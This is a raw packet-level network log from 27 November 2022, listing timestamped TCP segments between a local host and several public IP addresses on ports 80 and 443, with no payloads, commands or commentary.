Nov 27, 2022 04:36:43.222110033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222151041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222181082 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.222181082 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.222194910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222235918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222249031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.222278118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222318888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222332001 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.222362041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222371101 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.222404957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222449064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222482920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.222490072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222532988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222573996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222594023 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.222594023 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.222619057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222661018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222672939 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.222702980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222750902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222788095 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.222794056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222810030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.222836971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222879887 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.222898006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.222899914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222943068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222984076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.222999096 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.223026037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223067999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223109007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223110914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.223145008 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.223145008 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.223151922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223193884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223211050 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.223237038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223242044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.223278999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223319054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223331928 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.223361969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223368883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.223402977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223444939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223459005 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.223486900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223530054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223541021 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.223572016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223579884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.223615885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223656893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223668098 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.223697901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223740101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223752022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.223783016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223790884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.223825932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223869085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223881960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.223912001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223953009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.223965883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.223994970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224001884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.224036932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224077940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224091053 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.224121094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224163055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224174023 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.224212885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224214077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.224258900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224301100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224311113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.224342108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224384069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224423885 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.224425077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224467993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224509001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224520922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.224550962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224592924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224607944 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.224636078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224677086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224704027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.224721909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224731922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.224746943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224772930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224797964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224797964 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.224819899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.224854946 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.225255013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:48.998735905 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:49.028120995 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:49.150783062 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:49.151392937 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:49.180717945 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:49.329544067 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:49.330060959 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:49.359410048 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:49.480421066 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:49.602487087 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:49.602649927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:37:15.931781054 CET	49710	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:15.931834936 CET	443	49710	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:15.931967020 CET	49710	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:16.010540962 CET	49710	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:16.010586023 CET	443	49710	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:16.065917969 CET	443	49710	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:16.066000938 CET	49710	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:16.955777884 CET	49710	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:16.955818892 CET	443	49710	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:16.956640005 CET	443	49710	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:16.957885027 CET	49710	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:16.996656895 CET	49710	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:16.996680021 CET	443	49710	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:17.772352934 CET	443	49710	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:17.772464991 CET	443	49710	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:17.772478104 CET	49710	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:17.772526979 CET	49710	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:17.774091959 CET	49710	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:17.774132967 CET	443	49710	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:19.890017986 CET	49711	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:19.890062094 CET	443	49711	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:19.890175104 CET	49711	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:19.890500069 CET	49711	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:19.890523911 CET	443	49711	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:19.890590906 CET	443	49711	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:19.956871986 CET	49712	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:19.956970930 CET	443	49712	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:19.957110882 CET	49712	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:19.957784891 CET	49712	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:19.957813978 CET	443	49712	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:20.002897978 CET	443	49712	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:20.003017902 CET	49712	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:20.010952950 CET	49712	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:20.011009932 CET	443	49712	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:20.019074917 CET	49712	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:20.019133091 CET	443	49712	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:20.079895020 CET	49713	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:20.080001116 CET	443	49713	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:20.080084085 CET	49713	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:20.080506086 CET	49713	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:20.080538988 CET	443	49713	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:20.080617905 CET	443	49713	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:20.106245995 CET	443	49712	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:20.106374979 CET	49712	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:20.106429100 CET	443	49712	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:20.106492043 CET	49712	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:20.118107080 CET	49712	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:20.118264914 CET	443	49712	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:20.118345022 CET	49712	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:20.118515015 CET	443	49712	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:20.118571043 CET	49712	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:20.284755945 CET	49715	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:20.284833908 CET	443	49715	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:20.284936905 CET	49715	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:20.286998987 CET	49715	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:20.287034035 CET	443	49715	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:20.330641031 CET	443	49715	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:20.330741882 CET	49715	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:20.343337059 CET	49715	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:20.343388081 CET	443	49715	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:20.343790054 CET	443	49715	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:20.343869925 CET	49715	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:20.346972942 CET	49715	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:20.347016096 CET	443	49715	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:20.374871016 CET	49716	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:20.374952078 CET	443	49716	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:20.375055075 CET	49716	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:20.387376070 CET	49716	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:20.387408972 CET	443	49716	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:20.387511969 CET	443	49716	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:20.443272114 CET	443	49715	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:20.443367004 CET	443	49715	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:20.443394899 CET	49715	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:20.443535089 CET	49715	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:20.475895882 CET	49715	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:20.475965023 CET	443	49715	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.137792110 CET	49717	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:21.137870073 CET	443	49717	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:21.137984037 CET	49717	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:21.138298035 CET	49717	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:21.138329029 CET	443	49717	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:21.138418913 CET	443	49717	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:21.144026041 CET	49718	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.144107103 CET	443	49718	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.144351006 CET	49718	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.144922018 CET	49718	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.144977093 CET	443	49718	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.189542055 CET	443	49718	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.189650059 CET	49718	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.190229893 CET	49718	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.190248013 CET	443	49718	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.197096109 CET	49718	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.197135925 CET	443	49718	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.259603024 CET	49719	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:21.259669065 CET	443	49719	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:21.259759903 CET	49719	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:21.260077953 CET	49719	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:21.260107040 CET	443	49719	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:21.260194063 CET	443	49719	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:21.293425083 CET	443	49718	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.293556929 CET	443	49718	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.293649912 CET	49718	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.293776035 CET	49718	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.325764894 CET	49718	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.325802088 CET	443	49718	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.493372917 CET	49720	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.493436098 CET	443	49720	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.493771076 CET	49720	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.495836973 CET	49720	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.495873928 CET	443	49720	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.526653051 CET	49721	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:21.526715040 CET	443	49721	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:21.526905060 CET	49721	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:21.527367115 CET	49721	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:21.527393103 CET	443	49721	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:21.527456999 CET	443	49721	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:21.537991047 CET	443	49720	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.538105965 CET	49720	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.542315960 CET	49720	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.542337894 CET	443	49720	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.611399889 CET	49720	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.611423016 CET	443	49720	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.670768023 CET	443	49720	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.670860052 CET	443	49720	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.670960903 CET	49720	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.678071976 CET	49720	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.678098917 CET	443	49720	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.731215000 CET	49722	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:21.731313944 CET	443	49722	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:21.731440067 CET	49722	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:21.731750965 CET	49722	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:21.731803894 CET	443	49722	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:21.731862068 CET	443	49722	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:21.826632977 CET	49723	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.826702118 CET	443	49723	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.826847076 CET	49723	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.828088045 CET	49723	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.828128099 CET	443	49723	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.869842052 CET	443	49723	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.871026993 CET	49723	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.895539999 CET	49723	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.895569086 CET	443	49723	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.900559902 CET	49723	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.900583029 CET	443	49723	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.918586016 CET	49724	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:21.918658018 CET	443	49724	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:21.918801069 CET	49724	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:21.919208050 CET	49724	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:21.919229031 CET	443	49724	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:21.919281960 CET	443	49724	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:21.983710051 CET	443	49723	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.983861923 CET	443	49723	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:21.983963013 CET	49723	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.984227896 CET	49723	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:21.984263897 CET	443	49723	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.084340096 CET	49725	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.084422112 CET	443	49725	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.084578991 CET	49725	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.084884882 CET	49725	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.084911108 CET	443	49725	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.085015059 CET	443	49725	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.136253119 CET	49726	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.136323929 CET	443	49726	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.136435032 CET	49726	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.139688015 CET	49726	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.139727116 CET	443	49726	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.192428112 CET	443	49726	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.192527056 CET	49726	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.206654072 CET	49726	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.206701040 CET	443	49726	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.211622000 CET	49726	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.211656094 CET	443	49726	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.251744032 CET	49727	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.251828909 CET	443	49727	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.251933098 CET	49727	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.252383947 CET	49727	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.252415895 CET	443	49727	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.252469063 CET	443	49727	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.296430111 CET	443	49726	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.296595097 CET	443	49726	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.296622038 CET	49726	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.296693087 CET	49726	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.304884911 CET	49726	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.304932117 CET	443	49726	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.369097948 CET	49728	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.369168997 CET	443	49728	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.369476080 CET	49728	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.372677088 CET	49728	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.372725010 CET	443	49728	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.372823000 CET	443	49728	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.432435989 CET	49729	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.432531118 CET	443	49729	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.433278084 CET	49729	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.443481922 CET	49729	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.443545103 CET	443	49729	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.493757963 CET	443	49729	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.494090080 CET	49729	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.499321938 CET	49729	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.499351025 CET	443	49729	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.512321949 CET	49730	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.512401104 CET	443	49730	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.512504101 CET	49730	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.513230085 CET	49730	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.513256073 CET	443	49730	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.513325930 CET	443	49730	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.519931078 CET	49729	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.519965887 CET	443	49729	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.597166061 CET	443	49729	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.598182917 CET	49729	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.598237038 CET	443	49729	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.598331928 CET	49729	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.602751017 CET	49729	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.603007078 CET	443	49729	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.603167057 CET	49729	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.630892992 CET	49731	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.630961895 CET	443	49731	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.631047010 CET	49731	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.631477118 CET	49731	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.631489992 CET	443	49731	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.631541014 CET	443	49731	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.729316950 CET	49732	443	192.168.2.5	172.66.43.60
